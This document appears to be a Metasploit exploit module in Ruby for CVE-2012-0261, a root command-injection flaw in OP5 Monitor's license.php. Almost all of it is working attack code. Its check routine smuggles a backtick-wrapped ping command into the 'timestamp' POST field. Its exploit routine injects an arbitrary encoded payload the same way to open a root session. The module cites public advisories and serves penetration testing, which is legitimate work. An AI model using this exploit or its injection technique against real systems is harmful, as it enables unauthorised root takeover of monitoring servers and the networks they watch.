OP5 license.php Remote Command Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'OP5 license.php Remote Command Execution',  
'Description' => %q{  
This module exploits an arbitrary root command execution vulnerability in the  
OP5 Monitor license.php. Ekelow has confirmed that OP5 Monitor versions 5.3.5,  
5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable.  
},  
'Author' => [ 'Peter Osterberg <j[at]vel.nu>' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2012-0261'],  
['OSVDB', '78064'],  
['URL', 'http://www.ekelow.se/file_uploads/Advisories/ekelow-aid-2012-01.pdf'],  
['URL', 'http://www.op5.com/news/support-news/fixed-vulnerabilities-op5-monitor-op5-appliance/'],  
['URL', 'http://secunia.com/advisories/47417/'],  
],  
'Privileged' => true,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 1024,  
'BadChars' => '`\\|',  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'perl ruby',  
}  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' => [[ 'Automatic', { }]],  
'DisclosureDate' => 'Jan 05 2012',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(443),  
OptString.new('URI', [true, "The full URI path to license.php", "/license.php"]),  
], self.class)  
end  
  
def check  
print_status("Attempting to detect if the OP5 Monitor is vulnerable...")  
print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")  
  
# Try running/timing 'ping localhost' to determine is system is vulnerable  
start = Time.now  
  
data = 'timestamp=1317050333`ping -c 10 127.0.0.1`&action=install&install=Install';  
res = send_request_cgi({  
'uri' => datastore['URI'],  
'method' => 'POST',  
'proto' => 'HTTPS',  
'data' => data,  
'headers' =>  
{  
'Connection' => 'close',  
}  
}, 25)  
elapsed = Time.now - start  
if elapsed >= 5  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")  
  
data = 'timestamp=1317050333`' + payload.encoded + '`&action=install&install=Install';  
  
res = send_request_cgi({  
'uri' => datastore['URI'],  
'method' => 'POST',  
'proto' => 'HTTPS',  
'data' => data,  
'headers' =>  
{  
'Connection' => 'close',  
}  
}, 25)  
  
if(not res)  
if session_created?  
print_status("Session created, enjoy!")  
else  
print_error("No response from the server")  
end  
return  
end  
end  
end  
`